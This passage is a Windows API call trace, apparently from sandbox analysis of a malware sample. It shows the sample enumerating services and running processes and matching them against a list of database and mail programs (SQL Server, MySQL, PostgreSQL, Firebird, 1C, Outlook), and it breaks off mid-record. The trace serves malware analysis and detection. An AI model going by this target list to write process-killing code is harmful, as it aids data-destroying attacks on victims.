lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0056.492] lstrlenW (lpString="netprofm") returned 8 [0056.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0056.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0056.492] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0056.492] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0056.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0056.492] lstrlenW (lpString="NlaSvc") returned 6 [0056.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0056.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0056.492] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0056.492] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0056.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0056.493] lstrlenW (lpString="nsi") returned 3 [0056.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0056.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0056.493] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0056.493] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0056.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0056.493] lstrlenW (lpString="PcaSvc") returned 6 [0056.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0056.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0056.493] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0056.493] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0056.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0056.493] lstrlenW (lpString="PlugPlay") returned 8 [0056.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0056.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0056.493] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0056.493] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0056.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0056.493] lstrlenW (lpString="Power") returned 5 [0056.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0056.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0056.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0056.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0056.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0056.493] lstrlenW (lpString="ProfSvc") returned 7 [0056.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0056.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0056.494] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0056.494] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0056.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0056.494] lstrlenW (lpString="RpcEptMapper") returned 12 [0056.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.494] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0056.494] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0056.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0056.494] lstrlenW (lpString="RpcSs") returned 5 [0056.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0056.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0056.494] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0056.494] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0056.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0056.494] lstrlenW (lpString="SamSs") returned 5 [0056.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0056.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0056.494] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0056.494] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0056.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0056.494] lstrlenW (lpString="Schedule") returned 8 [0056.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0056.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0056.495] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0056.495] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0056.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0056.495] lstrlenW (lpString="SENS") returned 4 [0056.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0056.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0056.495] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0056.495] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0056.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0056.495] lstrlenW (lpString="ShellHWDetection") returned 16 [0056.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0056.495] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0056.495] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0056.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0056.495] lstrlenW (lpString="Spooler") returned 7 [0056.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0056.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0056.495] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0056.495] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0056.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0056.495] lstrlenW (lpString="swprv") returned 5 [0056.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0056.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0056.496] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0056.496] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0056.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0056.496] lstrlenW (lpString="SysMain") returned 7 [0056.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0056.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0056.496] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0056.496] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0056.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0056.496] lstrlenW (lpString="Themes") returned 6 [0056.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0056.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0056.496] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0056.496] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0056.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0056.496] lstrlenW (lpString="TrkWks") returned 6 [0056.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0056.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0056.496] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0056.496] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0056.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0056.496] lstrlenW (lpString="UxSms") returned 5 [0056.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0056.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0056.496] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0056.497] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0056.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0056.497] lstrlenW (lpString="VSS") returned 3 [0056.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0056.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0056.497] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0056.497] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0056.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0056.497] lstrlenW (lpString="WdiServiceHost") returned 14 [0056.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0056.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0056.497] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0056.497] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0056.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0056.497] lstrlenW (lpString="WdiSystemHost") returned 13 [0056.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0056.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0056.497] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0056.497] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0056.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0056.497] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0056.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0056.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0056.497] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0056.497] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0056.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0056.498] lstrlenW (lpString="Winmgmt") returned 7 [0056.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0056.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0056.498] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0056.498] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0056.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0056.498] lstrlenW (lpString="WPDBusEnum") returned 10 [0056.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0056.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0056.498] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0056.498] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0056.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0056.498] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f00060 | out: hHeap=0x5a0000) returned 1 [0056.498] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0056.501] Process32FirstW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0056.502] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0056.502] lstrlenW (lpString="System") returned 6 [0056.502] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0056.502] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0056.503] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0056.503] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0056.503] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0056.503] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0056.503] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0056.503] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0056.503] lstrlenW (lpString="smss.exe") returned 8 [0056.503] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0056.503] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0056.503] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0056.503] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0056.504] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0056.504] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0056.504] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0056.504] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.504] lstrlenW (lpString="csrss.exe") returned 9 [0056.504] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0056.504] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0056.504] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0056.504] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0056.504] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0056.505] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0056.505] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0056.505] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0056.505] lstrlenW (lpString="wininit.exe") returned 11 [0056.505] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0056.505] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0056.505] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0056.506] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.506] lstrlenW (lpString="csrss.exe") returned 9 [0056.506] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0056.507] lstrlenW (lpString="winlogon.exe") returned 12 [0056.507] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0056.508] lstrlenW (lpString="services.exe") returned 12 [0056.508] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0056.508] lstrlenW (lpString="lsass.exe") returned 9 [0056.508] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0056.509] lstrlenW (lpString="lsm.exe") returned 7 [0056.509] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.510] lstrlenW (lpString="svchost.exe") returned 11 [0056.510] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.510] lstrlenW (lpString="svchost.exe") returned 11 [0056.510] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.511] lstrlenW (lpString="svchost.exe") returned 11 [0056.511] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.511] lstrlenW (lpString="svchost.exe") returned 11 [0056.511] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.516] lstrlenW (lpString="svchost.exe") returned 11 [0056.517] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0056.517] lstrlenW (lpString="audiodg.exe") returned 11 [0056.517] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.518] lstrlenW (lpString="svchost.exe") returned 11 [0056.518] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.518] lstrlenW (lpString="svchost.exe") returned 11 [0056.519] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0056.519] lstrlenW (lpString="dwm.exe") returned 7 [0056.519] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0056.520] lstrlenW (lpString="explorer.exe") returned 12 [0056.520] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0056.520] lstrlenW (lpString="spoolsv.exe") returned 11 [0056.520] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.521] lstrlenW (lpString="taskhost.exe") returned 12 [0056.521] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.521] lstrlenW (lpString="svchost.exe") returned 11 [0056.521] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0056.522] lstrlenW (lpString="taskeng.exe") returned 11 [0056.522] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.781] lstrlenW (lpString="taskhost.exe") returned 12 [0056.781] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0056.782] lstrlenW (lpString="promotesrouting.exe") returned 19 [0056.782] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0056.783] lstrlenW (lpString="rxcalled.exe") returned 12 [0056.783] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0056.783] lstrlenW (lpString="off.exe") returned 7 [0056.783] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0056.784] lstrlenW (lpString="mayorintl.exe") returned 13 [0056.784] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0056.785] lstrlenW (lpString="gzip-june.exe") returned 13 [0056.785] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0056.786] lstrlenW (lpString="lsnavy.exe") returned 10 [0056.786] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0056.787] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0056.787] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0056.787] lstrlenW (lpString="specifications.exe") returned 18 [0056.787] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0056.788] lstrlenW (lpString="soup-mario.exe") returned 14 [0056.788] Process32NextW (in: hSnapshot=0x208, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, 